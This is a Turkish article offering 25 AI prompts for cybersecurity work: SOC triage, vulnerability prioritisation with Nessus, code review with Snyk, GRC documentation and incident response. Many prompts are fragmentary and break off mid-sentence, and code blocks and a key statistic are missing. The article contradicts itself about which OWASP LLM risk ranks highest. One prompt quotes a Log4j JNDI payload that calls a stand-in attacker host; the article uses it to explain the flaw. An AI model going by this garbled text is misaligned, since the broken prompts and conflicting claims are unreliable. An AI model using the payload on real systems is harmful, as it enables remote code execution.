Kısa cevap
Siber güvenlik profesyonelleri için en iyi yapay zeka komutları, SOC triyajı, güvenlik açığı yönetimi, kod incelemesi, GRC ve olay müdahale rollerindeki tekrarlayan görevleri otomatikleştirir. Faydalı komutlar arasında uyarı kümelerini özetleme, çevresel bağlama göre CVE’leri önceliklendirme, uyumluluk kanıtı anlatıları taslağı hazırlama, olay zaman çizelgeleri oluşturma ve tehdit avcılığı hipotezleri oluşturma yer alır. Aşağıda güvenlik analistleri için 25 adet kopyala-yapıştır komutu bulunmaktadır.
İyi yapılandırılmış bir komut kütüphanesi, bir güvenlik ekibi için bir güç çarpanıdır. Üretken yapay zekayı, bir yenilik olmaktan çıkarıp, tükenmişliğe yol açan tekrarlayan, zaman alıcı görevler için güvenilir bir asistana dönüştürür: yoğun günlükleri özetleme, standart raporlar yazma ve teknik bulguları farklı hedef kitleler için çevirme. Amaç, insan analizini değiştirmek değil, hızlandırmaktır.
Bu makale, birden fazla güvenlik fonksiyonundaki analistler için 25 pratik, kopyala-yapıştır komutu sunmaktadır. Bunları role göre—SOC katından GRC ekibine kadar—düzenledik ve güvenli bir şekilde nasıl kullanılacağına dair rehberlik ekledik. ZEKAI tüm araçları bağımsız olarak inceler; amacımız, yapay zeka destekli siber güvenlik ve BT çözümleri alanındaki çalışan profesyoneller için pratik kaynaklar sağlamaktır.
Başlamadan önce kritik bir uyarı: Hassas verileri asla herkese açık bir büyük dil modeline (LLM) yapıştırmayın. Buna dahili IP adresleri, ana bilgisayar adları, kullanıcı adları, PII veya tescilli kod dahildir. OWASP Top 10 for LLMs’deki en yüksek risk olan Hassas Bilgi Açıklaması’nın bir nedeni vardır. Her zaman kurumsal düzeyde, özel bir yapay zeka modeli örneği kullanın veya herkese açık araçları kullanmadan önce girdilerinizi temizleyin.
Bu Komutları Nasıl Seçtik?
Üretken yapay zekanın en hızlı değeri sağladığı beş temel güvenlik alanına odaklandık. İyi bir komut için kriterlerimiz şunlardır:
- Role Özel: Belirli bir analist için bir sorunu çözer (örn. SOC, AppSec, GRC).
- Yapılandırılmış: Yapay zekayı yönlendirmek için net başlıklar, bağlam ve kısıtlamalar kullanır.
- Uygulanabilir: Çıktı, bir rapor taslağı, bir sorgu veya bir kontrol listesi gibi somut bir başlangıç noktasıdır.
- Tasarım Gereği Güvenli: Kullanıcılara temizlenmiş bilgileri nereye ekleyeceklerini hatırlatmak için
[LOG_DATA]gibi yer tutucular kullanır.
Kaynak: isc2.org
ISC2’nin 2026 işgücü araştırmasına göre küresel olarak doldurulamayan siber güvenlik işlerinin sayısı. Yapay zeka odaklı verimlilik artık isteğe bağlı değil; bu yetenek boşluğunu kapatmak için temel bir stratejidir.
SOC Triyajı ve Uyarı Özetleme Komutları
Tier 1 SOC analistleri için hız ve doğruluk çok önemlidir. Bu komutlar, uyarıları hızlı bir şekilde bağlamsallaştırmaya, günlükleri analiz etmeye ve ilk triyaj notlarını taslağı hazırlamaya yardımcı olur.
[PASTE_SANITIZED_ALERT_DATA]
[PASTE_SANITIZED_FIREWALL_LOGS]
imzalı bir dosyayı engelledi.
1. Basit terimlerle, bu kötü amaçlı yazılım imzası tipik olarak neyi gösterir?
2. Bu kötü amaçlı yazılım ailesinin yaygın davranışı nedir? (örn. fidye yazılımı, bilgi hırsızı, RAT)
3. Genç bir analistin
- **Ana Yem:** E-posta, "acil fatura ödemesi gerekli" olduğunu iddia etti ve kullanıcıyı bir bağlantıya tıklamaya teşvik etti.
- **URL:** Sahte bir Microsoft 365 oturum açma sayfasına yönlendiren
) aktif olarak hedef aldığına dair son tehdit istihbarat raporuna dayanarak, üç farklı tehdit avcılığı hipotezi oluşturun.
Her hipotez için şunları belirtin:
1. Hipotezin kendisi.
2. Gerekli Veri Kaynakları (örn. EDR günlükleri, DNS günlükleri, proxy günlükleri).
3. Hipotezi test etmek için örnek bir sorgu (sözde sorgu dilinde).
Örnek format:
**Hipotez 1:** Tehdit aktörü kalıcılık sağlamak için zamanlanmış görevler kullanıyor.
**Veri Kaynağı:** EDR süreç oluşturma günlükleri, Windows Olay Günlükleri (ID 4698).
**Sorgu:**
Güvenlik Açığı Önceliklendirme ve Tarama Komutları
Güvenlik açığı yönetimi, sürekli bir önceliklendirme mücadelesidir. Bu komutlar, analistlerin tarama raporlarını anlamlandırmasına, CVE’leri bağlamsallaştırmasına ve paydaşlara riski iletmesine yardımcı olur. Bu komutları Tenable Nessus gibi özel bir araçla eşleştirmek, tüm iş akışını kolaylaştırabilir.
Tenable Nessus
Altyapı güvenlik açığı taraması için sektör standardı, eşsiz eklenti derinliğiyle.
Altyapı güvenlik açığı taraması için sektör standardı, eşsiz eklenti derinliğiyle.
Tenable Nessus, çok çeşitli ağ cihazları ve işletim sistemlerinde CVE’leri ve yanlış yapılandırmaları belirlemede üstündür. Ana sınırlaması, altyapı odaklı olmasıdır; derinlemesine statik veya dinamik uygulama güvenliği testi (SAST/DAST) yapmaz. Ağ ve uyumluluk ekipleri için doğru araçtır, ancak AppSec ekiplerinin ayrı bir çözüme ihtiyacı olacaktır. Ücretsiz “Essentials” katmanı artık 5 IP ile sınırlı 30 günlük bir deneme sürümüdür, eskiden olduğu gibi kalıcı 16 IP aracı değildir.
- Başlangıç fiyatı
- Starts at $4,790/year (as of Sep 2026)
- Ücretsiz plan
- Evet, Essentials katmanı (5 IP için 30 günlük deneme) Eylül 2026 itibarıyla doğrulanmıştır
[PASTE_CVE_LIST_AND_CVSS_SCORES]
'ı neden yamalamaları gerektiğini açıklayan bir e-posta yazmam gerekiyor.
Aşağıdaki özelliklere sahip açık, özlü bir e-posta taslağı hazırlayın:
1. Güvenlik açığını ve etkilenen sistemi (
Bir güvenlik danışmanı olarak hareket edin. Ağımızın `[SERVER_TYPES]` (örn. web sunucuları, veritabanı sunucuları, etki alanı denetleyicileri) içeren yeni bir segmenti için bir Tenable Nessus taraması yapılandırmam gerekiyor.
Bir Nessus tarama politikası yapılandırması önerin. Öneriniz şunları kapsamalıdır:
- **Tarama Şablonu:** Hangi Nessus şablonuyla başlanmalı (örn. Temel Ağ Taraması, Kimlik Doğrulamalı Yama Denetimi).
- **Kimlik Bilgileri:** Kimlik doğrulamalı bir taramanın neden gerekli olduğu.
- **Eklentiler:** Bu sunucu türleri için hangi eklenti ailelerinin etkinleştirilmesi en önemli olduğu.
- **Sıklık:** Önerilen bir tarama sıklığı (örn. haftalık, aylık).
Çıktıyı, her biri için kısa gerekçelerle birlikte net öneriler olarak sağlayın.
'yi işaretledi, ancak bunun yanlış pozitif olduğunu belirledik.
Kayıtlarımız için resmi bir gerekçe yazmam gerekiyor. Bu bulgunun *neden* yanlış pozitif olduğunu açıklayan bir paragraf taslağı hazırlayın.
Aşağıdaki bilgileri kullanın:
- **Bulgu:** Tarayıcı
İyileştirme Tahmini Tamamlanma Süresi (ETA)
Kod Güvenliği İnceleme Komutları
Geliştiriciler ve AppSec mühendisleri için yapay zeka, kod dağıtılmadan önce yaygın hataları ve güvensiz desenleri tespit etmeye yardımcı olabilir. Bu komutlar, hem kodunuzdaki hem de açık kaynak bağımlılıklarındaki güvenlik açıklarını tarayan Snyk gibi geliştirici odaklı bir güvenlik aracıyla kullanılmak üzere tasarlanmıştır.
Snyk
Kod ve açık kaynak bağımlılıklarındaki güvenlik açıklarını bulmak ve düzeltmek için geliştirici odaklı bir…
Kod ve açık kaynak bağımlılıklarındaki güvenlik açıklarını bulmak ve düzeltmek için geliştirici odaklı bir platform.
Snyk’in gücü, geliştirici iş akışlarına (IDE, Git, CI/CD) sorunsuz entegrasyonu ve açık kaynak paketleri için doğru güvenlik açığı veritabanıdır. SAST, SCA, konteyner ve IaC taramasını birleştirir. Ücretsiz katman, bireysel geliştiriciler ve küçük projeler için gerçekten faydalıdır ve ürünleri genelinde belirli sayıda aylık test sunar. Zayıf noktası, geliştirici başına fiyatlandırma arttıkça ölçekte maliyet olabilir.
- Başlangıç fiyatı
- Starts at $25/dev/month (as of Sep 2026)
- Ücretsiz plan
- Evet, aylık test limitleri olan ücretsiz kalıcı katman, Eylül 2026 itibarıyla doğrulanmıştır
kod parçasını potansiyel OWASP Top 10 güvenlik açıkları açısından analiz edin, özellikle şunları arayın:
- Enjeksiyon kusurları (SQL, Komut)
- Bozuk Kimlik Doğrulama
- Hassas Veri Maruziyeti
- Güvensiz Serileşme
Bulduğunuz her sorun için şunları sağlayın:
1. Güvenlik açığı olan satır numarası.
2. Güvenlik açığının kısa bir açıklaması.
3. Nasıl düzeltileceğini gösteren bir kod örneği.
Sorun bulunamazsa, bunu belirtin.
Kod Parçası:
Snyk taramamız, `[LIBRARY_NAME]` açık kaynak kütüphanesinin `[VERSION_NUMBER]` sürümünde kritik bir güvenlik açığı (`[CVE_ID]`) buldu.
Bu güvenlik açığını bir geliştirme ekibine açıklayın. Açıklamanız şunları içermelidir:
1. Güvenlik açığının bir saldırganın ne yapmasına izin verdiği (örn. uzaktan kod yürütme, hizmet reddi).
2. Güvenlik açığının nasıl tetiklendiği.
3. Önerilen eylemin ne olduğu (örn. "X.Y.Z sürümüne yükseltin").
Açıklamayı kısa ve geliştiricilerin düzeltmek için bilmesi gerekenlere odaklanmış tutun.
Baş güvenlik mühendisi olarak hareket edin. Geliştirme ekibimiz için "Girdi Doğrulama" konusunda güvenli bir kodlama yönergesi yazın.
Yönerge, aşağıdaki bölümleri içeren bir markdown belgesi olmalıdır:
- Girdi doğrulamanın neden önemli olduğuna dair kısa, basit bir açıklama.
- 2-3 en iyi uygulamanın yer aldığı bir "Yapılması Gerekenler" bölümü (örn. izin listeleri kullanın, sunucu tarafında doğrulayın).
- 2-3 yaygın hatanın yer aldığı bir "Yapılmaması Gerekenler" bölümü (örn. yalnızca istemci tarafı doğrulamaya güvenin, engelleme listeleri kullanın).
- "Kötü" ve "iyi" bir uygulamayı gösteren `[LANGUAGE]` dilinde kısa, net bir kod örneği.
fonksiyonum var.
Bu güvenlik açığını önlemek için parametreli sorgular (hazırlanmış ifadeler) kullanacak şekilde kodu yeniden düzenleyin. "Önce" ve "Sonra" kod bloklarını gösterin.
Savunmasız Kod:
)
- GitHub kişisel erişim belirteci (örn.
Uyumluluk ve GRC Dokümantasyon Komutları
Yönetişim, Risk ve Uyumluluk (GRC) çalışmaları çok miktarda dokümantasyon içerir. Yapay zeka, politikaların taslağını hazırlamaya, kontrolleri eşleştirmeye ve kanıt anlatıları yazmaya yardımcı olarak analistlere saatlerce zaman kazandırabilir.
Kaynak: nist.gov
NIST Yapay Zeka Risk Yönetimi Çerçevesi (AI RMF 1.0), dört işlevde yapay zeka risklerini yönetmek için gönüllü bir yapı sağlar: Yönetme, Eşleştirme, Ölçme ve Yönetme. Bu komutlar, bu çerçevedeki faaliyetleri belgelemeye yardımcı olabilir.
Bir GRC analisti olarak hareket edin. "Yapay Zeka Araçlarının Kabul Edilebilir Kullanımı" hakkında yeni bir kurumsal güvenlik politikası taslağı hazırlamam gerekiyor.
Politika aşağıdaki bölümlerle yapılandırılmalıdır:
1. **Amaç:** Bu politikanın var olma nedeni.
2. **Kapsam:** Bu politikanın kimler için geçerli olduğu.
3. **Politika Beyanları:** Aşağıdakileri içeren bir kurallar listesi:
- Hassas şirket veya müşteri verileriyle herkese açık yapay zeka araçlarının kullanımının yasaklanması.
- Yalnızca şirket onaylı yapay zeka platformlarını kullanma gerekliliği.
- Yapay zeka tarafından oluşturulan içeriğin doğruluğunu doğrulama yönergeleri.
- Veri sahipliği ve gizliliği hakkında bir beyan.
4. **Uygulama:** Politikayı ihlal etmenin sonuçları.
Bu politikanın profesyonel bir taslağını oluşturun.
Bir denetime hazırlanıyorum. Mevcut ISO 27001 kontrollerimizi SOC 2 Güven Hizmetleri Kriterlerine eşleştirmem gerekiyor.
Aşağıdaki ISO 27001 kontrolü için, karşıladığı ilgili SOC 2 kriterlerini belirleyin.
**ISO 27001 Kontrolü:** `[ISO_CONTROL_DESCRIPTION]` (örn. "A.9.4.1: Bilgi erişim kısıtlaması")
İlgili SOC 2 TSC'yi ve eşleştirmenin kısa, tek cümlelik bir açıklamasını sağlayın.
Örnek Çıktı:
**SOC 2 TSC:** CC6.1 - Mantıksal Erişim Güvenliği
**Açıklama:** Bu kontrol, rollere ve sorumluluklara dayalı olarak bilgi ve sistemlere mantıksal erişimi kısıtlama SOC 2 gereksinimini doğrudan destekler.
) ve tarama programının bir ekran görüntüsü (
Yeni `[CLOUD_SERVICE_NAME]` dağıtımımız üzerinde bir risk değerlendirmesi yapıyorum.
"Yetersiz Erişim Kontrolleri" ile ilgili bir risk senaryosu oluşturun. Senaryo aşağıdaki alanlarla yapılandırılmalıdır:
- **Risk Senaryosu:** Olayın kısa, tek cümlelik bir açıklaması.
- **Tehdit Aktörü:** Buna kim neden olabilir (örn. Kötü Niyetli İçeriden, Harici Saldırgan).
- **Güvenlik Açığı:** Buna izin veren zayıflık (örn. Aşırı izinli IAM rolleri).
- **Etki:** Meydana gelirse iş sonucu (örn. Veri ihlali, hizmet kesintisi).
- **Mevcut Kontroller:** Şu anda sahip olduklarımız (örn. MFA, temel günlük kaydı).
"Yetersiz Erişim Kontrolleri" riski için bu yapıyı doldurun.
Yamalanmamış bir Log4j güvenlik açığının (CVE-2021-44228) riskini teknik olmayan bir risk komitesine açıklamam gerekiyor.
Aşağıdaki teknik açıklamayı basit, analoji tabanlı bir iş riski ifadesine çevirin. RCE, JNDI ve LDAP gibi jargondan kaçının.
**Teknik Açıklama:** "Log4j güvenlik açığı, özel olarak hazırlanmış bir dizeyi günlüğe kaydederek kimlik doğrulaması yapılmamış uzaktan kod yürütmeye (RCE) izin verir. Bir saldırgan, `${jndi:ldap://attacker.com/a}` gibi bir dize gönderebilir, bu da sunucunun saldırganın sistemine geri bağlanmasına ve kötü amaçlı bir yük yürütmesine neden olur."
İş için ne anlama geldiğine odaklanın (örn. "Bu, arka kapıyı açık bırakmak gibidir...").
Olay Müdahale ve Eskalasyon Komutları
Bir olay sırasında, açık ve hızlı iletişim her şeydir. Bu komutlar, IR liderlerinin ve analistlerinin bilgileri düzenlemesine, zaman çizelgeleri oluşturmasına ve paydaşlar için iletişim taslağı hazırlamasına yardımcı olur.
Komut Enjeksiyonu Kaynak: owasp.org
OWASP Top 10 for LLMs’deki en yüksek risk, bir saldırganın girdisinin yapay zekayı orijinal amacını göz ardı etmeye ve istenmeyen eylemler gerçekleştirmeye ikna ettiği Komut Enjeksiyonu’dur. Yapay zeka destekli yanıt botları oluştururken bunu hatırlamak çok önemlidir.
[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]
ACİL: Güvenlik Olayı Eskalasyonu - [INCIDENT_TYPE]
Kıdemli bir olay müdahale yöneticisisiniz. Ekibimiz az önce bir `[INCIDENT_TYPE]` olayını çözdü.
Bir Olay Sonrası İnceleme (PIR) belgesi için ayrıntılı bir taslak oluşturun. Taslak, her birinde ele alınacak ana konular için tüm ana bölümleri ve alt maddeleri içermelidir.
Aşağıdaki bölümleri dahil edin:
1. Yönetici Özeti
2. Olay Zaman Çizelgesi (Ana Olaylar)
3. Kök Neden Analizi (Ne başarısız oldu?)
4. Etki Değerlendirmesi (İş, Teknik, Finansal)
5. Dersler (Ne iyi gitti? Ne kötü gitti?)
6. Eylem Öğeleri (Eylem, Sahip ve Son Tarih sütunlarına sahip bir tablo)
Veri sızdırma olayıyla ilgili olarak tehlikeye atılmış bir ana bilgisayarda (`[HOSTNAME]`) dijital adli soruşturmaya başlıyoruz.
Baş adli araştırmacı olarak hareket edin. Soruşturmamızın yanıtlaması gereken en önemli 10 sorunun bir listesini oluşturun. Sorular, ihlalin tam kapsamını ve zaman çizelgesini belirlemeye odaklanmalıdır.
Örnekler:
- Saldırgan ana bilgisayara ilk erişimi nasıl sağladı?
- Saldırgan ana bilgisayarda hangi araçları kullandı?
- Ana bilgisayardan hangi verilere erişildi veya sızdırıldı?
Kurumsal iletişim başkanısınız ve güvenlik ekibiyle çalışıyorsunuz. Çözülmüş olan son bir güvenlik olayı hakkında tüm çalışanlara kısa bir dahili güncelleme göndermemiz gerekiyor.
Olay, `[IMPACT]`'e neden olan bir `[INCIDENT_TYPE]` idi.
Tüm personele kısa, güven verici ve teknik olmayan bir mesaj taslağı hazırlayın. Mesaj şunları içermelidir:
- Bir kesintinin meydana geldiğini kabul edin.
- Sorunun artık çözüldüğünü onaylayın.
- Güvenlik ekibine teşekkür edin.
- Çalışanlara dikkatli olmaya devam etmelerini ve şüpheli etkinlikleri bildirmelerini hatırlatın.
Olay hakkında teknik detaylar eklemeyin.
—
Bu komutları günlük iş akışlarınıza entegre ederek, tekrarlayan işleri azaltabilir ve yalnızca bir insan uzmanın sağlayabileceği derinlemesine analiz için kritik zaman kazanabilirsiniz. Bu kütüphane bir başlangıç noktasıdır; bu komutları özel araçlarınıza, ortamınıza ve ekip ihtiyaçlarınıza göre uyarlamanızı öneririz. Yapay zeka gelişmeye devam ettikçe, doğru soruları sorma yeteneği, yapay zeka destekli siber güvenlik ve BT çözümleri alanındaki herhangi bir profesyonel için en değerli becerilerden biri olacaktır.
Yapay zeka komutları saldırgan güvenlik için kullanılabilir mi?
Evet. Saldırganlar, polimorfik kötü amaçlı yazılımlar oluşturmak, daha ikna edici kimlik avı yemleri yaratmak, kodlardaki güvenlik açıklarını keşfetmek ve keşifleri otomatikleştirmek için yapay zekayı kullanır. Bu çift kullanımlı doğa, savunma ekiplerinin de ayak uydurmak için yapay zekayı benimsemesi gerektiğinin nedenidir.
Siber güvenlik görevleri için en iyi yapay zeka modeli hangisidir?
Duruma göre değişir. Görevin ve güvenlik gereksinimlerinin ne olduğuna bağlıdır. Hassas verileri içeren görevler için, özel, kurumsal düzeyde bir model (güvenli bir bulut ortamında barındırılan gibi) zorunludur. Hassas bağlam olmadan genel bilgi veya kod üretimi için, büyük sağlayıcılardan herkese açık modeller etkili olabilir.
Yapay zekanın “halüsinasyon görmesini” veya yanlış cevaplar vermesini nasıl önlersiniz?
Halüsinasyonları tamamen önleyemezsiniz, ancak riski azaltabilirsiniz. Yapay zekaya her zaman komut içinde mümkün olduğunca fazla gerçek bağlam sağlayın (örn. gerçek günlük verilerini yapıştırın). Yapay zeka çıktılarını, herhangi bir işlem yapılmadan önce bir insan uzman tarafından doğrulanması gereken ilk taslak olarak kabul edin.
Komut enjeksiyonu nedir ve bundan nasıl kaçınabilirim?
Komut enjeksiyonu, bir kullanıcının yapay zekayı orijinal amacını göz ardı etmeye ve istenmeyen bir eylem gerçekleştirmeye ikna etmek için kötü niyetli talimatlar girdiği bir saldırıdır. Bunu azaltmak için, girdileri her zaman temizleyin, talimatlarınızı kullanıcı tarafından sağlanan verilerden açıkça ayırmak için sınırlayıcılar kullanın ve insan onayı olmadan yıkıcı eylemler gerçekleştirebilecek otonom sistemler oluşturmaktan kaçının.
Siber güvenlik için ücretsiz yapay zeka araçları var mı?
Evet. Birçok güçlü aracın ücretsiz katmanları vardır. Nessus Essentials, güvenlik açığı taraması için ücretsiz bir deneme sunar ve Snyk’in kod ve bağımlılık taraması için aylık limitleri olan ücretsiz kalıcı bir planı vardır. Wazuh ve OpenVAS gibi birçok açık kaynak platformu da tamamen ücretsizdir.
Şimdi nereye
Az önce okuduğunuza göre seçilmiş üç yol.
Kaynaklar (30)
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHoHSQE1tnKBOmfFv0M1M8ERP6JdRV9gqK0HRhhikOkH8ykoCAYWTKlHq8BSFGwAJss8uR1-VLKJAZ5CPsIWGbzPOKrIXmsA0S8-XSRGRvb5winPgTPHKSPdFbeurKuVorRSmSs4a0E0JFYM7BDHLUbCbR-MDE_aL20QhmAq9wcvp7PnyDCpIWssQHBZBgl3vs=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHRCAAmpRbRZtgAvyv-qYVmKEdEZY1rQ3HOq02kYfrJEx3zMiSX0o370Dpmm25Vgbrtsf96VXtYyl-C5RRibuo2AdJLG5TXQnAXPr12xvrxf_xmsoHWJk8-FDBGjW_q5TOpKI7GbK27PPfr1pLXkKrtBDAj6pVSRuOxYb95
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHNV5SJoaO_Aen9-PdwFdhAaCk_u_by9js0Ts5i-xf6P14Dy7_MufNP-j5l4hihsTRfDscBRtCCPRXq9EIMgKMeWtebp3-prrWCklslbXduFHe1Yu8iUKOyH9nRSgKbDTZ4g4yLdZNPkUYSa4hf36r2sEI7S7Wm3wzCz6Q0O72cbrvlyvzYST1s
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEgjeDIqYYM70We96T0U8k4dqoiavOGzVG8kiUS7OCN87leiEsYg-pNPyzohUZ0SnD9reQD7SrfPND7BhXq6AmsDgebG25nSL8Q_B0w0RWRXEF6qvlsdNLR8tOAx0KcWSNwXtP5AuXYbPhVSfg9lDcvEtQJJ1tpJ_4AIJkpHCDtqByDI5lxsrmRLd8rJ69ga0NTW4Kyc5aZif2Jrk46kwuomFbv
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHpttzC6gej_H78qJaDw9lkaLqhPAHPjXbBaXBewgLQn-ZXOkshvIoJPHHhUgPcAW05nyHRluc2M6oxkbpXjMrtfWIU56b1cJandzioU75NIiQxPVfsTmhFJcLS9yX1SjaaWpXM0e2ltaHuxTgca2ZRARr7rybMeLUx4fX4gn_vPVdnwNDG8fNb
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHfZnDO5W3IaXr1hMmOck0W7mwKrmxLiUD3dvRbULyx2W66cTrr2VS04CXSUttvGjCz4ePjCNIIaEYbj6oRrhwBpHcQAxAgFUflKjgpqGkaAHSaeWDR_t9tlVFKipx9eU5-pG3duBj5pWwE-lNJIvIDetZpHJtVp8w_cF9iMpNjhsy9iecSE2qoA3yfFmCoqVi7YQ5QGJwPV7CdOlOdsY2xtfY=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGj72yKGiAos9APMsInnearYcBRCUezgsqe1uM6ZqT0r-8W16ixJy9fzowYnaGcBwu-jSAoq1F-51a4KK0ybj1XpbbcKdgdeyW8cjnYti-yzlC20HRvIlTzgmYS7Nk0Oukng7wPTHzUEmS5
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGQvHdmXMUko8xwaJvcku6eXU7g4d0cFOJ1mbfi68dgLMtabQ83nVE98pxqnqHKdBPJWGEgy_4vMS7J3DpRuExw_7pIAz_YHtaQdDZ6yXXUNALS5YE13vTD1k0xTkaPrlqEZldSlDhETzNBPvT6gROJ918H-Zuc1Vg=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQErBdQtjGpTH8RDLxxZ1y_AHUhagKDX21S5XyYt0_oB2_vrGnxqdM9651r-GdBH2gvd7n_UYE19TOIbX9PeahSdp73NB5kgxGpnF3g0-b_zYtmd-fh_nx8kpf4bMQA7bxyqh5SBfg7ZF8pRoxNeO2RBDpkIY9n1UrM=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHcrs3OU5KuiJrVZdiRaLPfEMZCQVzhkldyR7nDKTAzqMn1f5o4cx7PHH5b_XWxEkVJKcjdFkFzVNUB7kNXsH70bw4xinBHrZ4JyF2AuEcEDkZn_sMwMRqi_rtEe8nv8lqljT2TBFQW12KdAQ==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFWIywFYUwqOpIabGbDGa6lzXWV__dObgrjKfJMV-mQEiXHw_MPhRsYAI3y2TXKXWAer0rKQJrwDsfJW0uy4d3QBAKqBHFo9P9JlabvhHovn931EPORZkU8tKpEAdwAIqbOo3PKtsFq9JxFuUYz26jKUNk=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEGHXUidmlmSDsEpR5KvwzTogsDaSQg3b18Ej8Wf7rXbDU9sNwPYoYbObyiyij9jL_Vv2DgxId4BSmlwPnPVjgPCqEURK1sQ8ryuP0nia7ojvIP9EtC5072IilWuF8gkCo=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGwWVHwn7N-jBlPCMneK73wyx3L_V_dtEwSDwlRPbiw7YrWKh3ETkgyvkvzvd2jG247L3ed1GyvGUr5VLRokDW_zT2afZ9r0L28fqVimG0wuzfy41t5eeO15DWp8r6fUEB1gQ==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFTZdjxcSfsLR665B-ukdWi9Wtv5ZPu1IR_cTVuKjpYFsaQuFWd_bDnGUGmRHddQyc-F4pRIDRVaEJvc3qDbE0DCoAoEMLGKIroqQ6qej8CU1qrzRbp2gRl4NilP6G69grpgWy_AX06ojFWCgYYmfvNClvNCmrl8zrzvCVQ57nrrw==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHSDakFfc258w5Kysk-1YmDO_9u5kL0yd-CSPiGbNe9l_IJOuEU8X8I1abOoBhGVmsad4fyM9u2tWTQzcah8bU4XAaJLlOzYGAPLHC42Pa1fca7mQumxCaSjobutSnjsBvd1MSHGultDpsMMlYHw5ZCLIpuVxYUVd5uu_A4Q-6jQCWrvfzAbkt5G4tCfOjJ_gfarutiV-B1sN27IM6cXlwv58E5HxDQqpX4EprUQw==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQE1wNYtQOjsXLm1dYndRoqGkqSXkH4zFUjwtB0pl3CCQfs8GipvbVPiEK4rfNEfxFB4GLRW1EJ2ISh8M2DB9AzfwXaY0JIwtZq14U1tvJyUPIZTFA3pn7sxsaJOSg5LT8Xop5Otn0YLPYY51k1gr4I00BF_uA==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGxUnECTovx2dB8fYDwdsmfRS0OXI_0gBwDBVvuO5i_meTR7Pxy2vCEhQTHSt6O9bvaNLRFN3H-0L6jiTggqO3kuYimB78bzpWbZiLBxhF13DT3rn-HqOI6cq-1PmFplaKU9fdgYSsSkMw9PpaMV8NDUBJ7
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFwrCqIei-UDsN-TpVOoz_QPQ4zEPsD3tkzBI1PAo1q_Sug1uc34BF5dtgBr7TwfcbngzENU2miRk2RiBYOV_2SEUrRcD7SbpM9qBNqdkvbrtQF9MAJhm5eQIbR7oeFK2OMchVfNawsh0Kpv8I4_CxlMeGzJQ9wPA==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHloWEHWpJUeHISEIllSTdcBR73spr0aIT_Om3rOLwgjpnC2eK1Q4SCEgPDtFX7iOyT0WW7cs4YirVMxQOMcXrWetjQPUaLMc7QxiZifJ5qp2d3RbSbm9ig5wR9Fnke_e5hrTM7RyYbzYwgsUMgYcJ9
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEEKby9Sz9XFDEOJGpQA_ulpK5hCQ2I7Qf4ytbdBtRuSoMwvENAdUkTBa1FEVsJ3FIIqqUIN_4Jjn24yC_8pFhrSGPCO58SwUehRzb8ffSLISrFWmHb-sVXHClsyfvJlgACIv_k_Lzq6C0A4U21kpAfw9YrZGlASjsr6OwgEv8WwsXQVwaEc9EWcRTvUI-m7gOxTNiAlD7f5ztXFQ==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHX_tleu0BtliZi8fScjsvfaezMc1H3cFtq985RlqUKXJ8dILK1lUVW6edtT8oxD1h7sS2c0RKwf1PLtQWfrcvYeIasXkuoyNUarrpXqWGqY4Bv-yTjhi7J2rKruoPYodd1ZU4oTVc_zlhsiLeZD8Nm70U_7jruCx0VeGa5
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGqq_MwZShiiOrmTEULumPsGBKXVX-cH9BfLWi2GITUjN7USef57iUFU6C5dGmZY8t7v-Lh9xe3-I_UdxTGExB7pRaTomnrFgj1JSfiR5NWWHqEIi1-sTjiQijpAgr6XL_uolwYZGNX3izEJifGo28=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGTBEyXvI1c73jjcV675zqWZcuMcwXxS3idaPDux2CY4pDwJb3B6vFrXTk3vA6LsBhcNjxKhD5G9FOt83pL66gA7sBKi6k0WPzdBcE_dicbyFnE_QHI2mTUQ3EpQDs74OF9NRE_5Zk8xuTYO4fj8AJ2_O1I7Fm1qmkLXiHAthxfqiHuVuR182fx0Y4v
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHABDz3zYqNKYF7q-eVahg9LADfCTSI7n8ui7NX6O4bd30BIdsgs4JmqLD3sJmfNcdaLV-TTATYfA-fKJ_6DXo9yR9vaHoLFneNZ82bfCLYOIbn96uVvUghqybJZSnIb-n9Y78R0rgFE1NdgxhgFLqafUgKsJDh3E-6-zR71aRg9Qi5wA==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGZjw6-B_uDsjX7pHS1PsH5cM6YanfTXEey55F3hF0qn5tUDC_jeFrCy9I0moVzKAUuhjTKXWcJbGLKx1vqbsYz_qwyRZBvU8VqegGFtedK-FEkkaI59oeAXt6yZe-wFwzYtOg=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGUJi6jPvC8-eNOh5tS0_oypRMqAbtQTCTSRfmairpqDLIon7DGgF3MnUGiZinf8FqR0UKlm_ixdhhUcZBU0NiRpZqqFjqt3UywzyxuxQNYKQrgorcqtAIBRl1TsYPQocESSag4CDcyXCwOhhdO0j9mN0cFfcCpk24LZ5k=
